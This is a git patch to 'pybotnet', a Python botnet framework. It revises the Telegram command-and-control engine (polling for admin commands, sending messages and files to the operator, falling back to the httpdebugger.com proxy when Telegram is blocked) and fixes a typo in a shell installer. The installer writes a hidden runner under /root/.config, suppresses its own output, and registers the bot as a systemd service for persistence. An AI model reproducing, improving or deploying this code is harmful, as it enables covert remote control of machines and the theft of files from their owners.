From 28c09c2391cea892a7169c2930c000fcce62f5a8 Mon Sep 17 00:00:00 2001 From: Saman Nezafat Date: Sun, 8 Jan 2023 13:01:09 +0330 Subject: [PATCH] telegram engine http-request and install_as_service.sh's typo --- install_as_service.sh | 6 +-- pybotnet/engines/telegram_engine.py | 42 +++++++++++++------ pybotnet/package_info.py | 2 +- .../utils/third_party_proxy/httpdebugger.py | 10 ++--- 4 files changed, 36 insertions(+), 24 deletions(-) diff --git a/install_as_service.sh b/install_as_service.sh index 28654ca..ea57cb7 100644 --- a/install_as_service.sh +++ b/install_as_service.sh @@ -1,6 +1,6 @@ #!/bin/sh -## add pybotnet to debian base linux systemd-service ## +## add pybotnet to Debian base Linux systemd-service ## # -- HELP --: # - replace youre telegram_bot_token, admin_id and bot_name with your own @@ -16,9 +16,9 @@ bot_name=example_name_pybotnet service_name=pybotnet runner="/root/.config/.$service_name.sh" - +# Create runner tee< $runner -#!/bin/ +#!/bin/sh apt-get update > /dev/null 2>&1 && apt-get install python3-pip -y -qq > /dev/null 2>&1 && apt-get install python3-dev -y -qq > /dev/null 2>&1 && diff --git a/pybotnet/engines/telegram_engine.py b/pybotnet/engines/telegram_engine.py index 82ea558..ac9cf9c 100644 --- a/pybotnet/engines/telegram_engine.py +++ b/pybotnet/engines/telegram_engine.py @@ -1,8 +1,8 @@ -import os +from typing import Dict, List, Any import logging import urllib -from typing import Dict, List, Any - +import json +import os from .base_engine import BaseEngine @@ -32,7 +32,7 @@ def __str__(self): def receive(self) -> List[str]: try: api_url = f"https://api.telegram.org/bot{self.token}/Getupdates?offset={self._update_id}&limit=100" - response = self._http_request(method="POST", url=api_url) + response = self._http_request(method="POST", url=api_url, timeout=5) if response is False: return False @@ -42,7 +42,6 @@ def receive(self) -> List[str]: if admin_command and not self._is_first_run: return admin_command.strip().split(" ") - self._is_first_run = False return False @@ -50,7 +49,12 @@ def receive(self) -> List[str]: _logger.debug(f"receive: error {e}") raise EngineException(e) - def send(self, message: str, additionalـinfo: dict = {}, reply_to_last_message: bool = False) -> bool: + def send( + self, + message: str, + additionalـinfo: dict = {}, + reply_to_last_message: bool = False, + ) -> bool: if type(additionalـinfo) != dict: additionalـinfo = {"additionalـinfo": additionalـinfo} @@ -64,7 +68,7 @@ def send(self, message: str, additionalـinfo: dict = {}, reply_to_last_message: message = urllib.parse.quote(message, safe=" ") res = [] - split_message = [] # split message to avoid telegram error + split_message = [] # split message to avoid telegram error for i in range(0, len(message), 4096): split_message.append(message[i : i + 4096]) @@ -73,7 +77,9 @@ def send(self, message: str, additionalـinfo: dict = {}, reply_to_last_message: api_url = f"https://api.telegram.org/bot{self.token}/SendMessage?chat_id={self.admin_chat_id}&text={msg}" if self._last_admin_message_id and reply_to_last_message: - api_url = f"{api_url}&reply_to_message_id={self._last_admin_message_id}" + api_url = ( + f"{api_url}&reply_to_message_id={self._last_admin_message_id}" + ) res.append(self._http_request(method="POST", url=api_url)) @@ -107,13 +113,24 @@ def send_file(self, file_route: str, additionalـinfo: dict = {}) -> bool: _logger.debug(f"send_file: error {e}") return False - def _http_request(self, method: str, url: str) -> List[Dict[str, Any]]: + def _http_request(self, method: str, url: str, timeout=15) -> List[Dict[str, Any]]: if self._getme(): self._use_proxy = False - return requests.request(method=method, url=url, timeout=15).json()["result"] + return ( + requests.request(method=method, url=url, timeout=timeout) + .json() + .get("result", False) + ) else: self._use_proxy = True - return proxy.http_request(method=method, url=url, timeout=15) + res = proxy.http_request(method=method, url=url, timeout=timeout) + + if res == False: + return False + + return json.loads(res.replace("edited_message", "message")).get( + "result", False + ) def _getme(self): try: @@ -152,7 +169,7 @@ def _last_admin_message(self, response: List[Dict[str, Any]]) -> str: _logger.debug(f" - new command from admin: {last_text}") admin_command = last_text - + try: self._last_admin_message_id = message["message"]["message_id"] except: @@ -160,7 +177,6 @@ def _last_admin_message(self, response: List[Dict[str, Any]]) -> str: break - ## clean previous messages ## """ if ( diff --git a/pybotnet/package_info.py b/pybotnet/package_info.py index db270d2..d87ccf0 100644 --- a/pybotnet/package_info.py +++ b/pybotnet/package_info.py @@ -1,2 +1,2 @@ -__version__ = "2.2.2" +__version__ = "2.2.3" __github_link__ = "https://github.com/onionj/pybotnet" diff --git a/pybotnet/utils/third_party_proxy/httpdebugger.py b/pybotnet/utils/third_party_proxy/httpdebugger.py index b1a4864..d23c322 100644 --- a/pybotnet/utils/third_party_proxy/httpdebugger.py +++ b/pybotnet/utils/third_party_proxy/httpdebugger.py @@ -3,20 +3,17 @@ """ import logging - +from typing import Union, Any, Literal import requests - -import json from bs4 import BeautifulSoup - _logger = logging.getLogger(f"--> {__name__} ") def http_request( method: str, url: str, data: dict = None, headers: dict = None, timeout=10 -): +) -> Union[any, Literal[False]]: """send http request by httpdebugger.com proxy""" ContentDataBox = "" @@ -56,8 +53,7 @@ def http_request( "div", id="ResultData" ).text.strip() response_source = response_source.replace("Response Content", "") - response_source = response_source.replace("edited_message", "message") - response_source = json.loads(response_source)["result"] + return response_source except Exception as error: